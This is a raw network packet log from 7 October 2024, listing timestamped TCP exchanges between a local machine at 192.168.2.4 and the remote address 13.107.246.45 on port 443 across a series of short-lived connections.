Oct 7, 2024 03:16:23.953387022 CEST	443	49920	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.052361965 CEST	443	49920	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.052386999 CEST	443	49920	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.052418947 CEST	443	49920	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.052436113 CEST	49920	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:24.052527905 CEST	49920	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:24.052772045 CEST	49920	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:24.052772999 CEST	49920	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:24.052781105 CEST	443	49920	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.052788973 CEST	443	49920	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.056072950 CEST	49925	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:24.056113958 CEST	443	49925	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.056180954 CEST	49925	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:24.056380033 CEST	49925	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:24.056395054 CEST	443	49925	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.243426085 CEST	443	49921	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.244071007 CEST	49921	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:24.244091034 CEST	443	49921	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.244472027 CEST	49921	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:24.244486094 CEST	443	49921	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.278414011 CEST	443	49922	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.278796911 CEST	49922	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:24.278810978 CEST	443	49922	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.279290915 CEST	49922	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:24.279297113 CEST	443	49922	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.341597080 CEST	443	49921	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.341818094 CEST	443	49921	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.341938019 CEST	49921	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:24.342093945 CEST	49921	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:24.342093945 CEST	49921	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:24.342114925 CEST	443	49921	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.342125893 CEST	443	49921	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.345005989 CEST	49926	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:24.345036030 CEST	443	49926	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.345124006 CEST	49926	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:24.345285892 CEST	49926	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:24.345300913 CEST	443	49926	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.354641914 CEST	443	49923	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.355010033 CEST	49923	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:24.355034113 CEST	443	49923	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.355364084 CEST	49923	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:24.355370045 CEST	443	49923	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.404346943 CEST	443	49922	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.404371977 CEST	443	49922	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.404421091 CEST	443	49922	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.404484987 CEST	49922	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:24.404484987 CEST	49922	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:24.404846907 CEST	49922	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:24.404846907 CEST	49922	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:24.404865980 CEST	443	49922	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.404875994 CEST	443	49922	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.408241987 CEST	49927	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:24.408304930 CEST	443	49927	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.408402920 CEST	49927	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:24.408576965 CEST	49927	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:24.408602953 CEST	443	49927	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.429980993 CEST	443	49924	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.430418968 CEST	49924	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:24.430433035 CEST	443	49924	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.430885077 CEST	49924	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:24.430892944 CEST	443	49924	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.454204082 CEST	443	49923	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.454420090 CEST	443	49923	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.454480886 CEST	49923	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:24.454530001 CEST	49923	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:24.454530001 CEST	49923	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:24.454541922 CEST	443	49923	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.454549074 CEST	443	49923	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.456862926 CEST	49928	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:24.456898928 CEST	443	49928	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.456990957 CEST	49928	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:24.457103014 CEST	49928	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:24.457118034 CEST	443	49928	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.533050060 CEST	443	49924	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.533338070 CEST	443	49924	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.533385992 CEST	443	49924	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.533401966 CEST	49924	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:24.533472061 CEST	49924	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:24.533591032 CEST	49924	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:24.533603907 CEST	443	49924	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.533620119 CEST	49924	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:24.533627987 CEST	443	49924	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.536798954 CEST	49929	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:24.536823988 CEST	443	49929	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.536931992 CEST	49929	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:24.537101984 CEST	49929	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:24.537113905 CEST	443	49929	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.717739105 CEST	443	49925	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.718347073 CEST	49925	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:24.718375921 CEST	443	49925	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.718879938 CEST	49925	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:24.718885899 CEST	443	49925	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.821100950 CEST	443	49925	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.821284056 CEST	443	49925	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.821338892 CEST	49925	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:24.821649075 CEST	49925	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:24.821669102 CEST	443	49925	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.821677923 CEST	49925	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:24.821682930 CEST	443	49925	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.824851036 CEST	49930	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:24.824888945 CEST	443	49930	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.825093985 CEST	49930	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:24.825093985 CEST	49930	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:24.825125933 CEST	443	49930	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.991539955 CEST	443	49926	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.992058039 CEST	49926	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:24.992082119 CEST	443	49926	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:24.992584944 CEST	49926	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:24.992590904 CEST	443	49926	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.090307951 CEST	443	49926	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.090322971 CEST	443	49926	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.090384960 CEST	49926	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.090399981 CEST	443	49926	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.090635061 CEST	443	49926	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.090713978 CEST	49926	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.090766907 CEST	49926	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.090783119 CEST	443	49926	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.090792894 CEST	49926	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.090797901 CEST	443	49926	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.091634035 CEST	443	49928	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.092101097 CEST	49928	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.092133999 CEST	443	49928	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.092559099 CEST	49928	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.092565060 CEST	443	49928	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.094316006 CEST	49931	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.094347954 CEST	443	49931	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.094415903 CEST	49931	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.094559908 CEST	49931	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.094573975 CEST	443	49931	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.121691942 CEST	443	49927	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.122098923 CEST	49927	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.122128010 CEST	443	49927	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.122494936 CEST	49927	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.122503996 CEST	443	49927	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.172348976 CEST	443	49929	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.172732115 CEST	49929	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.172741890 CEST	443	49929	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.173201084 CEST	49929	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.173204899 CEST	443	49929	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.190180063 CEST	443	49928	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.190356970 CEST	443	49928	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.190412998 CEST	443	49928	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.190431118 CEST	49928	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.190485954 CEST	49928	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.191337109 CEST	49928	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.191337109 CEST	49928	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.191356897 CEST	443	49928	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.191365004 CEST	443	49928	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.194353104 CEST	49932	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.194405079 CEST	443	49932	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.194479942 CEST	49932	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.194664955 CEST	49932	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.194683075 CEST	443	49932	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.225373983 CEST	443	49927	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.225395918 CEST	443	49927	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.225445032 CEST	443	49927	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.225476027 CEST	49927	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.225514889 CEST	49927	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.225770950 CEST	49927	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.225790024 CEST	443	49927	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.225804090 CEST	49927	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.225810051 CEST	443	49927	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.228177071 CEST	49933	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.228247881 CEST	443	49933	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.228339911 CEST	49933	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.228502035 CEST	49933	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.228534937 CEST	443	49933	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.271291971 CEST	443	49929	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.271519899 CEST	443	49929	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.271605015 CEST	49929	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.271636963 CEST	49929	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.271636963 CEST	49929	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.271646023 CEST	443	49929	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.271648884 CEST	443	49929	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.273979902 CEST	49934	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.274034977 CEST	443	49934	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.274190903 CEST	49934	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.274243116 CEST	49934	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.274255037 CEST	443	49934	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.478545904 CEST	443	49930	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.479028940 CEST	49930	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.479039907 CEST	443	49930	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.480010033 CEST	49930	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.480014086 CEST	443	49930	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.578525066 CEST	443	49930	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.578624010 CEST	443	49930	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.578651905 CEST	443	49930	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.578690052 CEST	49930	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.578727961 CEST	49930	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.578947067 CEST	49930	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.578965902 CEST	443	49930	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.578977108 CEST	49930	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.578982115 CEST	443	49930	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.582062006 CEST	49935	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.582129002 CEST	443	49935	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.582207918 CEST	49935	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.582355022 CEST	49935	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.582374096 CEST	443	49935	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.733947039 CEST	443	49931	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.734525919 CEST	49931	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.734543085 CEST	443	49931	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.735043049 CEST	49931	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.735049009 CEST	443	49931	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.831892967 CEST	443	49931	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.832149982 CEST	443	49931	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.832230091 CEST	49931	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.832273006 CEST	49931	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.832283974 CEST	443	49931	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.832292080 CEST	49931	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.832297087 CEST	443	49931	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.835400105 CEST	49936	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.835449934 CEST	443	49936	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.835540056 CEST	49936	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.835679054 CEST	49936	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.835691929 CEST	443	49936	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.855775118 CEST	443	49932	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.856333971 CEST	49932	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.856368065 CEST	443	49932	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.856910944 CEST	49932	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.856920958 CEST	443	49932	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.870955944 CEST	443	49933	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.871484041 CEST	49933	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.871556997 CEST	443	49933	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.871937990 CEST	49933	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.871952057 CEST	443	49933	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.958157063 CEST	443	49932	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.958285093 CEST	443	49932	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.958323002 CEST	443	49932	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.958348036 CEST	49932	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.958386898 CEST	49932	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.958575010 CEST	49932	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.958595037 CEST	443	49932	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.958609104 CEST	49932	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.958616972 CEST	443	49932	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.961463928 CEST	443	49934	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.961705923 CEST	49937	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.961795092 CEST	443	49937	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.961874008 CEST	49937	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.961905956 CEST	49934	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.961927891 CEST	443	49934	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.962007999 CEST	49937	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.962019920 CEST	443	49937	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.962387085 CEST	49934	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.962399006 CEST	443	49934	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.969257116 CEST	443	49933	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.969403028 CEST	443	49933	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.969475031 CEST	49933	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.969608068 CEST	49933	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.969643116 CEST	443	49933	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.969670057 CEST	49933	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.969685078 CEST	443	49933	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.971776009 CEST	49938	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.971800089 CEST	443	49938	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:25.971888065 CEST	49938	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.972004890 CEST	49938	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:25.972031116 CEST	443	49938	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:26.068026066 CEST	443	49934	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:26.068361044 CEST	443	49934	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:26.068397999 CEST	443	49934	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:26.068429947 CEST	49934	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:26.068466902 CEST	49934	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:26.068530083 CEST	49934	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:26.068551064 CEST	443	49934	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:26.068591118 CEST	49934	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:26.068602085 CEST	443	49934	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:26.072277069 CEST	49939	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:26.072304964 CEST	443	49939	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:26.072369099 CEST	49939	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:26.072767019 CEST	49939	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:26.072781086 CEST	443	49939	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:26.476798058 CEST	443	49936	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:26.477375984 CEST	49936	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:26.477404118 CEST	443	49936	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:26.477893114 CEST	49936	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:26.477897882 CEST	443	49936	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:26.587805986 CEST	443	49936	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:26.588047981 CEST	443	49936	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:26.588110924 CEST	49936	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:26.588123083 CEST	443	49936	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:26.588150024 CEST	443	49936	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:26.588200092 CEST	49936	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:26.588294983 CEST	49936	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:26.588314056 CEST	443	49936	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:26.588323116 CEST	49936	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:26.588329077 CEST	443	49936	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:26.591902971 CEST	49940	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:26.591949940 CEST	443	49940	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:26.592088938 CEST	49940	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:26.592283964 CEST	49940	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:26.592299938 CEST	443	49940	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:26.618761063 CEST	443	49938	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:26.619193077 CEST	49938	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:26.619225979 CEST	443	49938	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:26.619680882 CEST	49938	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:26.619695902 CEST	443	49938	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:26.622118950 CEST	443	49937	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:26.622487068 CEST	49937	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:26.622503042 CEST	443	49937	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:26.622925997 CEST	49937	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:26.622931004 CEST	443	49937	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:26.705281973 CEST	443	49939	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:26.705779076 CEST	49939	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:26.705790043 CEST	443	49939	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:26.706245899 CEST	49939	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:26.706249952 CEST	443	49939	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:26.717528105 CEST	443	49938	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:26.717662096 CEST	443	49938	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:26.717716932 CEST	49938	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:26.717870951 CEST	49938	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:26.717888117 CEST	443	49938	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:26.717905045 CEST	49938	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:26.717912912 CEST	443	49938	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:26.721240997 CEST	49941	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:26.721252918 CEST	443	49941	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:26.721452951 CEST	49941	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:26.721715927 CEST	49941	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:26.721724033 CEST	443	49941	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:26.724708080 CEST	443	49937	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:26.724900961 CEST	443	49937	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:26.724955082 CEST	49937	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:26.725002050 CEST	49937	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:26.725009918 CEST	443	49937	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:26.725022078 CEST	49937	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:26.725027084 CEST	443	49937	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:26.727278948 CEST	49942	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:26.727288961 CEST	443	49942	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:26.727406979 CEST	49942	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:26.727556944 CEST	49942	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:26.727567911 CEST	443	49942	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:26.803632021 CEST	443	49939	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:26.803844929 CEST	443	49939	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:26.803896904 CEST	443	49939	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:26.803925037 CEST	49939	443	192.168.2.4	13.107.246.45
